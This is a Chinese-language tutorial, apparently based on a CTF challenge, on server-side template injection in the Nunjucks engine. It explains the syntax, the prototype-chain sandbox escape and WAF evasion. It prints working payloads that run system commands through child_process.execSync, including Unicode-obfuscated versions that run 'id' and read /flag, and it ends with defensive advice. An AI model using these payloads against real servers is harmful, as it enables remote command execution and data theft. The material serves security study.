从一道题目学习Nunjucks模板
字数 1120 2025-08-24 07:48:09
Nunjucks模板引擎SSTI漏洞深入解析与利用
1. Nunjucks模板引擎简介
Nunjucks是一个功能丰富的JavaScript专用模板引擎,提供以下特性:
- 块继承
- 自动转移
- 宏
- 异步控制
- 沙箱环境执行(默认剥离全局对象)
安全特性:Nunjucks模板代码在沙箱环境中运行,剥离了全局对象以限制沙箱逃逸和任意代码执行。
2. Nunjucks基础语法
2.1 注释语法
<!-- HTML注释(会编译到HTML文件中) -->
{# Nunjucks注释(不会编译到HTML文件中) #}
2.2 插值语法
<p>用户名是:{{username}}</p>
2.3 判断语句
{% if num > 3 %}
<p>num的值大于3</p>
{% elseif num < 3 %}
<p>num的值小于3</p>
{% else %}
<p>num的值等于3</p>
{% endif %}
2.4 循环语句
<ul>
{% for item in items %}
<li>姓名是: {{item.name}} 年龄是: {{item.age}}</li>
{% endfor %}
</ul>
2.5 过滤器
{{ "hello world" | replace("world", "你好") | capitalize }}
<!-- 输出: Hello 你好 -->
3. Nunjucks SSTI漏洞原理
3.1 全局函数
Nunjucks模板引擎中定义了三个全局函数:
range([start], stop, [step])- 生成数字序列cycler(item1, item2, ...itemN)- 循环遍历多个值joiner([separator])- 组合多个项目并用分隔符连接
3.2 JavaScript原型链利用
关键概念:
- 每个对象的
constructor属性指向其构造函数 - 通过构造函数的构造函数可以创建新的函数
- 利用这个特性可以突破沙箱限制
示例:
// 获取字符串的构造函数
'string'.constructor // [Function: String]
// 获取函数的构造函数
function say(word) { console.log(word); }
say.constructor // [Function: Function]
// 创建匿名函数执行代码
say.constructor("return console.log('success')")() // 输出"success"
4. 沙箱逃逸技术
4.1 关键JavaScript对象
global- 全局对象process- Node.js进程对象mainModule- 应用程序入口模块child_process- 创建子进程的模块
4.2 基本Payload结构
{{range.constructor("return global.process.mainModule.require('child_process').execSync('calc')")()}}
4.3 绕过WAF的技术
常见过滤项:
joiner,range,cyclerconstructor,toStringmainModule,main,requireprocess,exec,spawn.符号, 空格等
绕过方法:
- 字符串拼接:
"toSt" + "ring" // "toString" "const" + "ructor" // "constructor" - Unicode编码:
\u0070\u0072\u006f\u0063\u0065\u0073\u0073 // "process" - 使用
[]代替.:'string'['toString'] // 等同于 'string'.toString
4.4 完整绕过Payload示例
执行命令id:
{{ "string"["toSt"+"ring"]["const"+"ructor"]("return(global[\"\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\"][\"\\u006d\\u0061\\u0069\\u006e\\u004d\\u006f\\u0064\\u0075\\u006c\\u0065\"][\"\\u0072\\u0065\\u0071\\u0075\\u0069\\u0072\\u0065\"](\"\\u0063\\u0068\\u0069\\u006c\\u0064\\u005f\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\")[\"\\u0065\\u0078\\u0065\\u0063\\u0053\\u0079\\u006e\\u0063\"](\"id\")[\"\\u0074\\u006f\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\"]())")()}}
读取文件/flag:
{{ "string"["toSt"+"ring"]["const"+"ructor"]("return(global[\"\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\"][\"\\u006d\\u0061\\u0069\\u006e\\u004d\\u006f\\u0064\\u0075\\u006c\\u0065\"][\"\\u0072\\u0065\\u0071\\u0075\\u0069\\u0072\\u0065\"](\"\\u0063\\u0068\\u0069\\u006c\\u0064\\u005f\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\")[\"\\u0065\\u0078\\u0065\\u0063\\u0053\\u0079\\u006e\\u0063\"](\"\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u006c\\u0061\\u0067\")[\"\\u0074\\u006f\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\"]())")()}}
5. 防御措施
- 避免直接将用户输入作为模板渲染
- 对用户输入进行严格的过滤和转义
- 使用Nunjucks的安全配置选项
- 限制模板中可以访问的对象和方法
- 及时更新Nunjucks到最新版本
6. 总结
Nunjucks SSTI漏洞利用的关键在于:
- 识别模板引擎类型(通过
{{7*7}}等测试) - 利用有限的全局函数(range/cycler/joiner)
- 通过JavaScript原型链获取函数构造函数
- 构造能够执行任意代码的函数
- 绕过可能的WAF限制(拼接、编码等)
- 最终实现命令执行或文件读取
理解这些原理和技术对于Web安全研究和防御此类漏洞至关重要。